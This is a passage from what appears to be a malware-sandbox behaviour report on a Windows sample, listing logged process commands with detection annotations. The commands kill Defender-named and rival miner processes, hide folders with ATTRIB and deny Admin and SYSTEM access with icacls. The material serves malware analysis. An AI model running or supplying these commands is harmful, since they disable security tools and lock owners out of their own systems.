  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM muxu.exe /T /F
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4284
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 1
      4⤵
      Delays execution with timeout.exe
      PID:5260
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "C:\programdata\{CB28D9D3-6B5D-4AFA-BA37-B4AFAABF70B8}"
      4⤵
      Views/modifies file attributes
      PID:3668
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\programdata\{CB28D9D3-6B5D-4AFA-BA37-B4AFAABF70B8}" /deny Admin:(OI)(CI)(F)
      4⤵
      Modifies file permissions
      PID:3752
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM CEF.exe /T /F
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4084
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:404
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM CEF.exe /T /F
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5088
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\programdata\Cefunpacked\ /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      PID:5184
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S C:\users\Admin\AppData\Local\temp\System32
      4⤵
      System Location Discovery: System Language Discovery
      PID:2000
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S C:\users\Admin\AppData\Local\temp\Windowstask
      4⤵
      Views/modifies file attributes
      PID:1448
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\users\Admin\AppData\Local\temp\Windowstask /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      PID:1332
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\users\Admin\AppData\Local\temp\System32 /deny Admin:(OI)(CI)(F)
      4⤵
      PID:2868
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S C:\temp\System32\Logs
      4⤵
      Views/modifies file attributes
      PID:3728
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S C:\temp\Windowstask
      4⤵
      PID:4544
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S C:\temp
      4⤵
      Views/modifies file attributes
      PID:4536
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\temp\Windowstask /deny Admin:(OI)(CI)(F)
      4⤵
      Modifies file permissions
      PID:3196
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\temp\System32\Logs /deny Admin:(OI)(CI)(F)
      4⤵
      PID:4364
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM windefender.exe /T /F
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:548
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM intel1.exe /T /F
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2504
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM intel.exe /T /F
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1116
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM nvidiahelp.exe /T /F
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2216
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM taskhost.exe /T /F
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:224
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM nvidiadriver.exe /T /F
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3308
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 1
      4⤵
      Delays execution with timeout.exe
      PID:2660
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "C:\users\Admin\AppData\roaming\system"
      4⤵
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:864
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\users\Admin\AppData\roaming\system" /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      PID:4108
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "c:\programdata\MicrosoftCorporation"
      4⤵
      Views/modifies file attributes
      PID:3984
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "c:\programdata\MicrosoftCorporation" /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      PID:1992
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM intel.exe /T /F
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4784
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM intel1.exe /T /F
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4080
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM taskhost.exe /T /F
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2260
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 1
      4⤵
      Delays execution with timeout.exe
      PID:5588
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S C:\users\Admin\appdata\roaming\WindowsApps
      4⤵
      Views/modifies file attributes
      PID:2340
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\users\Admin\appdata\roaming\WindowsApps" /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2608
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM systemcore.exe /T /F
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4792
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 1
      4⤵
      Delays execution with timeout.exe
      PID:5528
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S C:\users\Admin\appdata\roaming\windowshelper
      4⤵
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:216
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\users\Admin\appdata\roaming\windowshelper" /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1788
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM hostdl.exe /T /F
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5272
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM defender.exe /T /F
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4772
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM winmgmnt.exe /T /F
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1632
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S +R "D:\Windowsdata"
      4⤵
      PID:3656
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S +R "C:\Windowsdata"
      4⤵
      PID:5972
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S +R "E:\Windowsdata"
      4⤵
      Views/modifies file attributes
      PID:6052
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S +R "K:\Windowsdata"
      4⤵
      PID:5964
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "D:\Windowsdata" /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      PID:1772
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Windowsdata" /deny Admin:(OI)(CI)(F)
      4⤵
      Modifies file permissions
      PID:4600
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "E:\Windowsdata" /deny Admin:(OI)(CI)(F)
      4⤵
      PID:1028
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "K:\Windowsdata" /deny Admin:(OI)(CI)(F)
      4⤵
      PID:5424
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM webservice.exe /T /F
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:712
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM securedisk.exe /T /F
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:876
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 1
      4⤵
      Delays execution with timeout.exe
      PID:3704
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S C:\disk
      4⤵
      Views/modifies file attributes
      PID:3212
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\disk" /deny Admin:(OI)(CI)(F)
      4⤵
      PID:2800
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM systemprocess.exe /T /F
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3368
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 1
      4⤵
      Delays execution with timeout.exe
      PID:4852
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S C:\users\Admin\appdata\roaming\systemprocess
      4⤵
      PID:3800
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\users\Admin\appdata\roaming\systemprocess" /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:436
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM defender.exe /T /F
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1608
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 1
      4⤵
      Delays execution with timeout.exe
      PID:1908
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\users\Admin\AppData\roaming\microsoft\windows defender" /deny Admin:(OI)(CI)(F)
      4⤵
      Modifies file permissions
      PID:3488
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM debugger.exe /T /F
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3356
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM hostdl.exe /T /F
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5568
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 1
      4⤵
      System Location Discovery: System Language Discovery
      Delays execution with timeout.exe
      PID:5180
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "C:\users\Admin\appdata\roaming\microsoft\network"
      4⤵
      PID:3784
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\users\Admin\appdata\roaming\microsoft\network" /deny Admin:(OI)(CI)(F)
      4⤵
      PID:5492
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM gplyra.exe /T /F
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1668
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 1
      4⤵
      Delays execution with timeout.exe
      PID:3412
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "C:\users\Admin\appdata\roaming\gplyra"
      4⤵
      PID:5456
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\users\Admin\appdata\roaming\gplyra" /deny Admin:(OI)(CI)(F)
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5400
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM run.exe /T /F
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5416
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "C:\programdata\tiser"
      4⤵
      PID:1688
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\programdata\tiser" /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      System Location Discovery: System Language Discovery
      PID:5320
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM nettrans.exe /T /F
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:760
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "C:\programdata\prefssecure"
      4⤵
      Views/modifies file attributes
      PID:3228
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\programdata\prefssecure" /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      System Location Discovery: System Language Discovery
      PID:3124
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM net.exe /T /F
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4352
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM net1.exe /T /F
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4284
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 1
      4⤵
      Delays execution with timeout.exe
      PID:4740
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM SYSTEM.exe /T /F
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4840
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 1
      4⤵
      System Location Discovery: System Language Discovery
      Delays execution with timeout.exe
      PID:2784
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\users\Admin\appdata\roaming\windowshelper" /deny Admin:(OI)(CI)(F)
      4⤵
      PID:1984
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\users\Admin\appdata\roaming\intel" /deny Admin:(OI)(CI)(F)
      4⤵
      Modifies file permissions
      PID:4576
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM hostdl.exe /T /F
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4092
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\users\Admin\appdata\roaming\app" /deny Admin:(OI)(CI)(F)
      4⤵
      Modifies file permissions
      PID:4432
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM nscpucnminer.exe /T /F
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4420
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "c:\windows\min"
      4⤵
      Drops file in Windows directory
      PID:5168
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\windows\min\ /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2264
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM ErrorCheck.exe /T /F
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4860
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\users\Admin\AppData\Roaming\Mikile /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3192
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM booster.exe /T /F
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4928
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM unityp.exe /T /F
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3728
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM booster.exe /T /F
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1164
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM hoststore.exe /T /F
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5376
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM windowsdeffenders.exe /T /F
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2664
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S C:\windows\hs_moduler
      4⤵
      System Location Discovery: System Language Discovery
      PID:3492
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\windows\hs_module" /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4312
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM dvjyy.exe /T /F
      4⤵
      PID:4620
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM hostsys.exe /T /F
      4⤵
      Kills process with taskkill
      PID:5552
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S C:\programdata\oracle
      4⤵
      Views/modifies file attributes
      PID:5468
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\programdata\oracle" /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      PID:6096
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM booster.exe /T /F
      4⤵
      Kills process with taskkill
      PID:5052
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S C:\users\Admin\AppData\Local\PCBooster
      4⤵
      PID:5912
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\users\Admin\AppData\Local\PCBooster /deny Admin:(OI)(CI)(F)
      4⤵
      Modifies file permissions
      PID:3812
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM nheqminer.exe /T /F
      4⤵
      PID:4424
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM msminer.exe /T /F
      4⤵
      PID:2324
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\users\Admin\AppData\Roaming\isminer /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      PID:3944
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM winlog.exe /T /F
      4⤵
      PID:3868
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S C:\users\Admin\AppData\Roaming\systemcare
      4⤵
      System Location Discovery: System Language Discovery
      PID:2448
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\users\Admin\AppData\Roaming\systemcare /deny Admin:(OI)(CI)(F)
      4⤵
      Modifies file permissions
      PID:808
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM "Windows System Driver.exe" /T /F
      4⤵
      Kills process with taskkill
      PID:2504
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM "Windows Driver.exe" /T /F
      4⤵
      Kills process with taskkill
      PID:4980
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM "COM Surrogate.exe" /T /F
      4⤵
      PID:5564
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM "system.exe" /T /F
      4⤵
      PID:1272
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM "security.exe" /T /F
      4⤵
      PID:4120
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:1868
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\programdata\WindowsSQL /deny Admin:(OI)(CI)(F)
      4⤵
      System Location Discovery: System Language Discovery
      PID:2756
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\programdata\WindowsSQL /deny system:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      PID:1912
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\programdata\DirectX11b /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5968
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\programdata\DirectX11b /deny system:(OI)(CI)(F)
      4⤵
      Modifies file permissions
      PID:3308
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\programdata\Framework /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2236
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\programdata\Framework /deny system:(OI)(CI)(F)
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:864
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM AMD.exe /T /F
      4⤵
      Kills process with taskkill
      PID:4108
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\users\Admin\AppData\local\AMD /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      PID:5192
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\users\Admin\AppData\local\AMD /deny system:(OI)(CI)(F
      4⤵
      PID:744
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM nssm.exe /T /F
      4⤵
      Kills process with taskkill
      PID:4784
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM xmarin.exe /T /F
      4⤵
      Kills process with taskkill
      PID:4080
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\users\Admin\AppData\Local\xmarin /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2260
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM wupdate.exe /T /F
      4⤵
      PID:5588
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S C:\users\Admin\AppData\Local\wupdate
      4⤵
      PID:4588
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\users\Admin\AppData\Local\wupdate /deny Admin:(OI)(CI)(F)
      4⤵
      Modifies file permissions
      PID:5300
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM SIVapp.exe /T /F
      4⤵
      PID:5512
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S C:\users\Admin\AppData\Local\SIVapp
      4⤵
      Views/modifies file attributes
      PID:5824
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\users\Admin\AppData\Roaming\SIVapp /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      System Location Discovery: System Language Discovery
      PID:5172
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM Kyubey.exe /T /F
      4⤵
      Kills process with taskkill
      PID:5084
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S C:\users\Admin\AppData\Roaming\kyubey
      4⤵
      Views/modifies file attributes
      PID:2884
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\users\Admin\AppData\Roaming\kyubey /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      PID:1576
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM mel.exe /T /F
      4⤵
      Kills process with taskkill
      PID:4360
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S C:\users\Admin\AppData\Roaming\QIPapp
      4⤵
      System Location Discovery: System Language Discovery
      PID:1408
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\users\Admin\AppData\Roaming\QIPapp /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1460
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM NSCPUCNMINER64.EXE /T /F
      4⤵
      Kills process with taskkill
      PID:5684
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM img002.EXE /T /F
      4⤵
      Kills process with taskkill
      PID:3252
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S C:\users\Admin\AppData\Roaming\NSCPUCNMINER
      4⤵
      Views/modifies file attributes
      PID:1028
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\users\Admin\AppData\Roaming\NSCPUCNMINER /deny Admin:(OI)(CI)(F)
      4⤵
      PID:5424
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM monotype.exe /T /F
      4⤵
      Kills process with taskkill
      PID:4972
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S C:\users\Admin\AppData\local\monotype
      4⤵
      Views/modifies file attributes
      PID:1664
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\users\Admin\AppData\local\monotype /deny Admin:(OI)(CI)(F)
      4⤵
      PID:5396
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM xpon.exe /T /F
      4⤵
      PID:2964
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S C:\users\Admin\AppData\local\xpon
      4⤵
      PID:3824
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\users\Admin\AppData\local\xpon /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5296
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\users\Admin\AppData\local\xpon /deny system:(OI)(CI)(F)
      4⤵
      Modifies file permissions
      PID:5976
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM xmrig.exe /T /F
      4⤵
      PID:5020
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S C:\users\Admin\AppData\Roaming\isminer
      4⤵
      Views/modifies file attributes
      PID:1660
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\users\Admin\AppData\Roaming\isminer /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      PID:4660
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM security.exe /T /F
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      PID:4088
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM comdev.exe /T /F
      4⤵
      Kills process with taskkill
      PID:3080
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S C:\users\Admin\AppData\Local\comdev
      4⤵
      Views/modifies file attributes
      PID:2232
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\users\Admin\AppData\Local\comdev /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      PID:2160
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM wmipr.exe /T /F
      4⤵
      Kills process with taskkill
      PID:3608
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S C:\users\Admin\AppData\Local\wmipr
      4⤵
      PID:4756
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\users\Admin\AppData\Local\wmipr /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3780
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM defender.exe /F
      4⤵
      PID:4488
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM winmgmnt.exe /F
      4⤵
      PID:5176
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM hostdl.exe /F
      4⤵
      PID:4460
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S C:\Programdata\Windowsdata
      4⤵
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:5428
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Programdata\Windowsdata" /deny Admin:(OI)(CI)(F)
      4⤵
      PID:5936
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM dlhosta.exe /F
      4⤵
      Kills process with taskkill
      PID:3644
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\users\Admin\appdata\roaming\performance" /deny Admin:(OI)(CI)(F)
      4⤵
      Modifies file permissions
      PID:5928
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\users\Admin\appdata\roaming\microsoft\windows\system" /deny Admin:(OI)(CI)(F)
      4⤵
      Modifies file permissions
      PID:4596
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S +R "C:\programdata\AudioHDriver"
      4⤵
      Views/modifies file attributes
      PID:676
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\programdata\AudioHDriver" /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      PID:5128
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S +R "C:\programdata\AudioDriver"
      4⤵
      PID:3516
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\programdata\AudioDriver" /deny Admin:(OI)(CI)(F)
      4⤵
      PID:5496
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM vshub.exe /T /F
      4⤵
      Kills process with taskkill
      PID:860
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM vsnhub.exe /T /F
      4⤵
      PID:3972
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM erenhub.exe /T /F
      4⤵
      Kills process with taskkill
      PID:4912
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM AudioHD.exe /T /F
      4⤵
      Kills process with taskkill
      PID:2004
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM AudioDriver.exe /T /F
      4⤵
      PID:3668
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM penapen.exe /T /F
      4⤵
      PID:3752
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 1
      4⤵
      Delays execution with timeout.exe
      PID:684
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S +R "C:\users\Admin\AppData\Roaming\AudioHDriver"
      4⤵
      PID:6120
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S +R "C:\Programdata\AudioDriver"
      4⤵
      Views/modifies file attributes
      PID:1344
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S +R "C:\users\Admin\AppData\Roaming\Sysfiles"
      4⤵
      Views/modifies file attributes
      PID:404
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Programdata\AudioDriver" /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      PID:5088
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\users\Admin\appData\Roaming\Sysfiles" /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      PID:3248
  - - C:\Windows\SysWOW64\icacls.exe
